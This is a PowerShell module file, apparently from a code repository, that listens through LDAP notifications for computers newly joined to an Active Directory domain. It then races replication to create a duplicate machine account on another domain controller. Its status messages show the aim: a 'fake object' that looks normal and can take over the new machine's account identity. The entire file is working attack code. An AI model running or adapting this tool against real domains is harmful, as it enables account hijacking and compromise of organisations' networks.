-
Notifications
You must be signed in to change notification settings - Fork 0
/
Invoke-CnfMachineCreation.psm1
384 lines (313 loc) · 12.4 KB
/
Invoke-CnfMachineCreation.psm1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
<#
.SYNOPSIS
Dynamically duplicate a new computer joining the domain to create a conflicting object.
.DESCRIPTION
Main function: Start-LdapListener
#>
## Load necessary assemblies
$null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
$null = [System.Reflection.Assembly]::LoadWithPartialName("System.Net")
# Cache for the root DSE Ldap object
$g_rootDSE = $null
Function Connect-BindedLdap {
param(
[Parameter(Mandatory = $true)]
[String] $Server,
[Parameter(Mandatory = $true)]
[PSCredential] $Credential
)
$ldap = New-Object System.DirectoryServices.Protocols.LdapConnection $Server
$ldap.SessionOptions.ProtocolVersion = 3
$ldap.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$cred = New-Object System.Net.NetworkCredential $Credential.UserName, $Credential.Password
$ldap.Bind($cred)
Write-Output $ldap
}
Function Get-ConfigurationNamingContext {
param(
[Parameter(Mandatory = $true)]
[System.DirectoryServices.Protocols.LdapConnection] $Ldap
)
$rootDSE = Get-RootDse $Ldap
Write-Output $rootDSE.configurationnamingcontext
}
Function Get-DefaultNamingContext {
param(
[Parameter(Mandatory = $true)]
[System.DirectoryServices.Protocols.LdapConnection] $Ldap
)
$rootDSE = Get-RootDse $Ldap
Write-Output $rootDSE.defaultnamingcontext
}
Function Get-RootDse {
param(
[Parameter(Mandatory = $true)]
[System.DirectoryServices.Protocols.LdapConnection] $Ldap
)
If ($Script:g_rootDSE) {
return $Script:g_rootDSE
}
[System.DirectoryServices.Protocols.SearchRequest] $request = New-Object System.DirectoryServices.Protocols.SearchRequest -ArgumentList @(
$null,
"(objectClass=*)",
[System.DirectoryServices.Protocols.SearchScope]::Base,
$null
)
$ldapRootDSE = [System.DirectoryServices.Protocols.SearchResponse] $Ldap.SendRequest($request)
$rootDSE = @{ }
ForEach ($attrName in $ldapRootDSE.entries.Attributes.AttributeNames) {
$rootDSE[$attrName] = $ldapRootDSE.entries.Attributes[$attrName].GetValues([String])
}
$Script:g_rootDSE = $rootDSE
Write-Output $rootDSE
}
function Get-SecondsInterval {
param (
[Parameter(Mandatory = $true)]
[DateTime]$FromDateTime
# To now
)
# Get the current date and time
$nowUtc = (Get-Date).ToUniversalTime()
# Compute the difference
$timespan = New-TimeSpan -Start $FromDateTime -End $nowUtc
# Return the total seconds
return [int]($timespan.TotalSeconds)
}
Function Invoke-NotifyCallback {
param([System.IAsyncResult] $result)
# We need to be fast here, faster than the replication.
# Check twice before adding instructions because it will slow down the script.
Try {
$Infos = $Sender.CallbackArgs
$prc = $Infos.LdapConnection.GetPartialResults($result)
ForEach ($item in $prc) {
$aryObjectClass = [array]$item.Attributes["objectClass"].GetValues([string])
If ($aryObjectClass[-1] -ne "computer") {
continue
}
$whenCreated = $item.Attributes["whenCreated"].GetValues([string])
$dtWhenCreated = [DateTime]::ParseExact($whenCreated, "yyyyMMddHHmmss.f'Z'", $null)
# We could also get all the computers when starting the script but it would be certainly
# too long on big environment. Both the collect and the check if the one associated to the notification
# is not in this big list.
# Let's be faster by looking at the 'WhenCreated' attribute.
# It's less precise but it should be better for the performances.
If ((Get-SecondsInterval -FromDateTime $dtWhenCreated) -gt 15) {
continue
}
$rdn = ($item.DistinguishedName -split ',')[0]
$newMachineName = ($rdn -split '=')[1]
$machine_account_password = ConvertTo-SecureString $newMachineName -AsPlainText -Force
New-MachineAccount -MachineAccount $newMachineName -Password $machine_account_password -DistinguishedName $item.DistinguishedName -DomainController $Infos.TargetDomainController
$infos.CnfMachineName = $newMachineName
$infos.CnfDn = $item.DistinguishedName
$infos.FlagStop = $true
}
} Catch {
Write-Host $_
}
}
Function New-AsyncCallback {
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[ScriptBlock] $Callback,
[Parameter(Mandatory = $true)]
[PSCustomObject] $Infos
)
If (-not ("AsyncCallbackForPS" -as [type])) {
Add-Type @"
using System;
public sealed class AsyncCallbackForPS
{
public event AsyncCallback CallbackComplete = delegate { };
public Object CallbackArgs;
public AsyncCallbackForPS() {}
private void CallbackInternal(IAsyncResult result)
{
CallbackComplete(result);
}
public AsyncCallback Callback
{
get { return new AsyncCallback(CallbackInternal); }
}
}
"@
}
$AsyncCB = New-Object AsyncCallbackForPS
$AsyncCB.CallbackArgs = $Infos
$null = Register-ObjectEvent -InputObject $AsyncCB -EventName CallbackComplete -Action $Callback
$AsyncCB.Callback
}
Function Register-LdapSearch {
param(
[Parameter(Mandatory = $true)]
[PSCustomObject] $Infos,
[Parameter(Mandatory = $true)]
[string] $SearchDn,
[Parameter(Mandatory = $true)]
[System.DirectoryServices.Protocols.SearchScope] $Scope
)
$Ldap = $Infos.LdapConnection
[System.DirectoryServices.Protocols.SearchRequest] $request = New-Object System.DirectoryServices.Protocols.SearchRequest -ArgumentList @(
$SearchDn, # root the search here
"(objectClass=*)", # very inclusive, error when filtering on computer
$Scope, # any scope works
$null # we are interested in all attributes
)
$null = $request.Controls.Add((New-Object System.DirectoryServices.Protocols.DirectoryNotificationControl))
[System.IAsyncResult] $result = $Ldap.BeginSendRequest(
$request,
(New-TimeSpan -Days 1),
[System.DirectoryServices.Protocols.PartialResultProcessing]::ReturnPartialResultsAndNotifyCallback,
(New-AsyncCallback ${function:Invoke-NotifyCallback} $Infos),
$request
)
return $result
}
Function Stop-LdapSearches {
param(
[Parameter(Mandatory = $true)]
[System.DirectoryServices.Protocols.LdapConnection] $Ldap,
[Parameter(Mandatory = $true)]
[System.IAsyncResult[]] $SearchResults
)
ForEach ($result in $SearchResults) {
# End each async search
Try {
$Ldap.Abort($result)
} Catch {
Write-Host $_
}
}
$Ldap.Dispose()
}
Function Start-LdapListener {
param (
[Parameter(Mandatory = $true)]
[string]
$Server,
[Parameter(Mandatory = $false)]
[AllowNull()]
[string]
$TargetDomainController = "",
[Parameter(Mandatory = $true)]
[PSCredential]
$Credential,
[Parameter(Mandatory = $true)]
[ValidateRange(1, 60)]
[int] $DurationMinutes
)
$ldapConnection = Connect-BindedLdap $Server $Credential
$defaultNC = Get-DefaultNamingContext $ldapConnection
$searchScope = [System.DirectoryServices.Protocols.SearchScope]::Subtree
if (-not $TargetDomainController) {
$TargetDomainController = ([array](Get-ADDomainController -Filter "IPv4Address -ne `"$Server`""))[0].HostName
}
$infos = [PSCustomObject] @{
LdapConnection = $LdapConnection
DefaultNC = $defaultNC
DurationMinutes = $DurationMinutes
Server = $Server
targetDomainController = $TargetDomainController
FlagStop = $false
CnfDn = ""
CnfMachineName = ""
ldapCounter = 0
}
$searchResults = @()
$searchResults += Register-LdapSearch $Infos $defaultNC $searchScope
$checkerTimer = [Diagnostics.Stopwatch]::StartNew()
Write-Host "[$(Get-Date)] Listening for $DurationMinutes minutes to duplicate the next computer that will be added to the domain (type 'q' to abort)..."
While ($checkerTimer.Elapsed.TotalMinutes -lt $DurationMinutes) {
If ($infos.FlagStop) {
Write-Host "[$(Get-Date)] Addition of a new computer detected ($($infos.CnfDn))."
Write-Host "[$(Get-Date)] Attempting to add the same account on another domain controller..."
break
}
Write-Debug "still alive"
If ([Console]::KeyAvailable) {
$k = $Host.UI.RawUI.ReadKey('NoEcho, IncludeKeyDown')
If ($k.Character -eq 'q') {
break;
}
}
}
Get-EventSubscriber | Unregister-Event
Stop-LdapSearches $ldapConnection $searchResults
$checkerTimer.Stop()
return $infos.CnfMachineName
}
Function Test-FakeObjectWithoutCnf {
param (
[Parameter(Mandatory = $true)]
[AllowEmptyString()]
[string]
$CnfMachineName
)
If ($CnfMachineName -eq "") {
Write-Host "[$(Get-Date)]No new machine has been identified. End."
exit 0
}
$checkerTimer = [Diagnostics.Stopwatch]::StartNew()
While ($true) {
If (Get-ADComputer -Filter "Name -like `"$($CnfMachineName)\0ACNF*`"") {
break
}
Start-Sleep -Seconds 1
If ($checkerTimer.Elapsed.TotalSeconds -gt 20) {
Write-Host -ForegroundColor Red "[$(Get-Date)] Error: the fake object has not been created. Need to be faster! Try again."
$checkerTimer.Stop()
return $false
}
}
$checkerTimer.Stop()
$CnfMachineObject = Get-ADComputer -Filter "Name -eq `"$CnfMachineName`"" -Properties "mS-DS-CreatorSID"
If ($CnfMachineObject.PropertyNames -contains "mS-DS-CreatorSID") {
Write-Host -ForegroundColor Green "[$(Get-Date)] (1/2) Success! The fake object looks like a normal object (NOT having 'CNF' in its DN)."
return $true
} Else {
Write-Host -ForegroundColor Yellow "[$(Get-Date)] Error: the fake object looks like a strange object (having 'CNF' in its DN). Need more luck! Try again."
return $false
}
}
Function Test-FakeObjectWithoutDuplicate {
param (
[Parameter(Mandatory = $true)]
[AllowEmptyString()]
[string]
$CnfMachineName
)
Write-Host "[$(Get-Date)] Waiting for the reboot of the new machine and authentication attempts (type 'q' to abort)..."
$checkerTimer = [Diagnostics.Stopwatch]::StartNew()
While ($true) {
$computerWithoutCnf = Get-ADComputer -Filter "Name -like `"$($CnfMachineName)`""
$computerWithCnf = Get-ADComputer -Filter "Name -like `"$($CnfMachineName)\0ACNF*`""
If ($computerWithoutCnf.SamAccountName.StartsWith('$DUPLICATE-') -or
$computerWithCnf.SamAccountName.StartsWith('$DUPLICATE-')) {
break
}
Start-Sleep -Seconds 1
# 5 minutes is more than needed for the reboot of the joined machine
If ($checkerTimer.Elapsed.TotalSeconds -gt $(5 * 60)) {
Write-Host -ForegroundColor Red "[$(Get-Date)] (2/2) Error: sAMAccountName of the 2 accounts is: $($computerWithoutCnf.SamAccountName). Are they in the same parent container?"
$checkerTimer.Stop()
return $false
}
If ([Console]::KeyAvailable) {
$k = $Host.UI.RawUI.ReadKey('NoEcho, IncludeKeyDown')
If ($k.Character -eq 'q') {
return $false
}
}
}
$checkerTimer.Stop()
If ($computerWithoutCnf.SamAccountName -eq $($computerWithoutCnf.Name + '$')) {
Write-Host -ForegroundColor Green "[$(Get-Date)] (2/2) Success! The fake object looks like a normal object (NOT having '`$DUPLICATE-' in its sAMAccountName)."
return $true
} Else {
Write-Host -ForegroundColor Yellow "[$(Get-Date)] (2/2) Error: the fake object looks like a strange object (having '`$DUPLICATE-' in its sAMAccountName). Need more luck! Try again."
return $false
}
}